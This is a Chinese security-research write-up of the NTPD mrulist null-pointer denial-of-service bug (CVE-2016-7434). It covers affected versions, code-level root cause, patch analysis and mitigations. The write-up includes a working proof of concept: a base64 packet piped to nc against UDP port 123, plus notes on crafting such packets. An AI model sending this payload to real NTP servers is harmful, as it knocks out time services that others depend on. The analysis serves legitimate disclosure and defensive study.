Author: LG, dawu (知道创宇404实验室)

前言

NTP服务对于互联网来说是不可或缺的,很多东西都能和它联系到一起。就在不久前,轰动一时的德国断网事件中也出现了它的影子。保证NTP服务器的安全是很重要的!

0x00 漏洞概述

1.漏洞简介

NTPD是一个linux系统下同步不同机器时间的服务程序。
近日NTP.org公布了一个拒绝服务漏洞,该漏洞能够导致NTPD服务遭受远程DoS攻击。

2.漏洞影响

受影响版本面临DoS攻击风险

3.影响版本

  • 4.3.90
  • 4.3.25
  • 4.3
  • 4.3.93
  • 4.3.92
  • 4.3.77
  • 4.3.70
  • 4.2.8p8
  • 4.2.8p7
  • 4.2.8p6
  • 4.2.8p5
  • 4.2.8p4
  • 4.2.8p3
  • 4.2.8p2
  • 4.2.8p1
  • 4.2.7p22

0x01 漏洞详情

漏洞细节

NTPD服务端配置安全性低,能接收任意端mrulist数据包。此时攻击者能够远程发送经过构造的mrulist数据包对其进行Dos攻击。

漏洞检测方法

使用以下命令检测NTP版本: # ntpq -c version 受影响版本列表中的版本未作相关安全配置将受漏洞影响。 github上已有公布的漏洞利用poc,但是该poc会使NTPD服务崩溃,利用后需要重启服务。
漏洞利用poc

漏洞复现

docker搭建环境:

docker run --rm -it --name ntpvulnerable -p 123:123/udp vulnerables/cve-2016-7434  

之后命令行输入:

echo "FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=" | base64 -d | nc -u -v 127.0.0.1 123  

最后NTPD服务崩溃

漏洞分析

payload分析

漏洞发现者构造了这样一段mrulist数据包

FgoAEAAAAAAAAAA2bm9uY2UsIGxhZGRyPVtdOkhyYWdzPTMyLCBsYWRkcj1bXTpXT1AAMiwgbGFkZHI9W106V09QAAA=  

base64解码后:

base64.png

base64解码(以16进制显示):

\x16 \x0a \x00 \x10 \x00 \x00 \x00 \x00 
\x00 \x00 \x00 \x36 \x6e \x6f \x6e \x63 
\x65 \x2c \x20 \x6c \x61 \x64 \x64 \x72 
\x3d \x5b \x5d \x3a \x48 \x72 \x61 \x67 
\x73 \x3d \x33 \x32 \x2c \x20 \x6c \x61 
\x64 \x64 \x72 \x3d \x5b \x5d \x3a \x57 
\x4f \x50 \x00 \x32 \x2c \x20 \x6c \x61 
\x64 \x64 \x72 \x3d \x5b \x5d \x3a \x57 
\x4f \x50 \x00 \x00 

此处参考NTP协议格式:

NTP packet = NTP header + Four TimeStamps = 48byte

NTP header : 16byte

LI(LeapYearIndicator) VN(VersionNumber) Mode Stratum Poll(PollInterval) Precision
2bit 3bit 3bit 8bit 8bit 8bit

详情请看 NTP报文格式

主要字段的解释如下: ·LI(Leap Indicator,闰秒提示):长度为2比特,值为“11”时表示告警状态,时钟未被同步。为其他值时NTP本身不做处理。 ·VN(Version Number,版本号):长度为3比特,表示NTP的版本号,目前的最新版本为4。 ·Mode:长度为3比特,表示NTP的工作模式。不同的值所表示的含义分别是:0未定义、1表示主动对等体模式、2表示被动对等体模式、3表示客户模式、4表示服务器模式、5表示广播模式或组播模式、6表示此报文为NTP控制报文、7预留给内部使用。 ·Stratum:系统时钟的层数,取值范围为1~16,它定义了时钟的准确度。层数为1的时钟准确度最高,准确度从1到16依次递减,层数为16的时钟处于未同步状态。 ·Poll:轮询时间,即两个连续NTP报文之间的时间间隔。 ·Precision:系统时钟的精度。

了解了NTP的报文格式后,上文数据包中的NTP header:

\x16 \x0a \x00 \x10 \x00 \x00 \x00 \x00
\x00 \x00 \x00 \x36 \x6e \x6f \x6e \x63

payload分析到这里暂时无下文,于是我们转去研究了漏洞触发点部分

漏洞触发点分析

如下图,我们根据valgrind给出的调试信息寻找漏洞触发点

判断漏洞触发点位于ntpd/ntpcontrol.c:4041,readmru_list()函数体内 漏洞触发原因是estrdup函数空指针的引用。

estrdup函数的参数不能为NULL,否则会使程序崩溃。因为estrdup函数包含了strdup函数,而strdup函数又包含了strlen函数,该函数参数不能是NULL

那么这说明val是有可能引入空指针的了? val是由ctl_getitem()函数引入的,稍后我们上溯去看。

我们先来看readmrulist函数中var list

/*
     * fill in_parms var list with all possible input parameters.
     */
    in_parms = NULL;
    set_var(&in_parms, nonce_text, sizeof(nonce_text), 0);
    set_var(&in_parms, frags_text, sizeof(frags_text), 0);
    set_var(&in_parms, limit_text, sizeof(limit_text), 0);
    set_var(&in_parms, mincount_text, sizeof(mincount_text), 0);
    set_var(&in_parms, resall_text, sizeof(resall_text), 0);
    set_var(&in_parms, resany_text, sizeof(resany_text), 0);
    set_var(&in_parms, maxlstint_text, sizeof(maxlstint_text), 0);
    set_var(&in_parms, laddr_text, sizeof(laddr_text), 0);
    for (i = 0; i < COUNTOF(last); i++) {
        snprintf(buf, sizeof(buf), last_fmt, i);
        set_var(&in_parms, buf, strlen(buf) + 1, 0);
        snprintf(buf, sizeof(buf), addr_fmt, i);
        set_var(&in_parms, buf, strlen(buf) + 1, 0);
    }

它把mrulist数据包中各字段输入in_parms中,并且用到了sizeof()

const char        nonce_text[] =      "nonce";  

看到这里,我们明白了nonce_text字段长度是6字节。

接着我们上溯ctl_getitem函数。它的功能是处理解码后数据包中的数据。首先处理的就是nonce_text字段。 这里val就是*data,*var_list就是in_parms,v就是每个字段的数据

注意line(3103-3107)以及line(3111-3116)处的代码: while循环的条件是从字符串首部开始扫描,出现空或者,就把reqpt右移一个字节。
for循环的判断语句中以,为终止标志,以=为赋值标志。如果没有出现=来进行判断后赋值,字段就会一直为空。
关键点出现了:在之前构造payload时,目标就是这里(阻止=的出现)。

payload构造分析

我们延续对payload的分析,结合上文payload分析base64解码部分信息,其实已经显示出来了。6nonce,大家注意到了吗? nonce前面的一个字节正常格式原本应该是=的,漏洞发现者把它置为6了(16进制就是\x36)。其实只要构造"nonce"前一个字节不是=(16进制是\x3d)而且前3个字节都为NULL,漏洞触发条件就满足了。

我们来验证一下:

到此总结一下: payload构造关键点在于上文中NTP header格式如下
NULL NULL NULL 非= nonce,

ps:非=需要的是能正常解码出来的字符串,乱码是不行的

补丁分析

ntp4.2.8p9版本修补了这个漏洞。官方修补方案是在read_mru_list()中严格地进行val参数的检测并做了一些限制措施。此外官方在最新版ntp_control.c的release中又对ctl_getitem函数进行了安全修改。

gitlab代码补丁对比链接

我们分析后认为补丁关键点如下:

        if (NULL == val)
            val = nulltxt;

        if (!strcmp(nonce_text, v->text)) {
            free(pnonce);
            pnonce = (*val) ? estrdup(val) : NULL;

其中char * val 变为const char * val

 -    char *          val;
 +    const char *        val;

修改后逻辑运行为必须通过void * 从指针中去掉const属性。 接着严格判断val是不是NULL,若val指针为NULL则中断。 在此情况下原漏洞触发点处变为先判断*val,判断式只会为真,避免了空指针的引用,从而修复了此处漏洞。

漏洞利用分析

在实际场景中,存在漏洞的NTPD服务器如果未作任何防护措施,攻击者极易对其进行远程DoS攻击。但是攻击结果仅是使服务崩溃,重启服务就能正常运行,对NTP服务器本身无其他深层影响。 但是,如实验室,飞机场,银行等机构的业务结算对于时间的校验应该非常严格。一旦针对性地攻击与它们相关联的NTP服务器导致系统时间无法正常同步,对于业务结算等是能够造成一定冲击的。

0x02 漏洞防护措施

  1. 只允许接收来自信任主机的mrulist查询包
  2. 升级到ntpd4.2.8p9
  3. 执行BCP-38标准

0x03 参考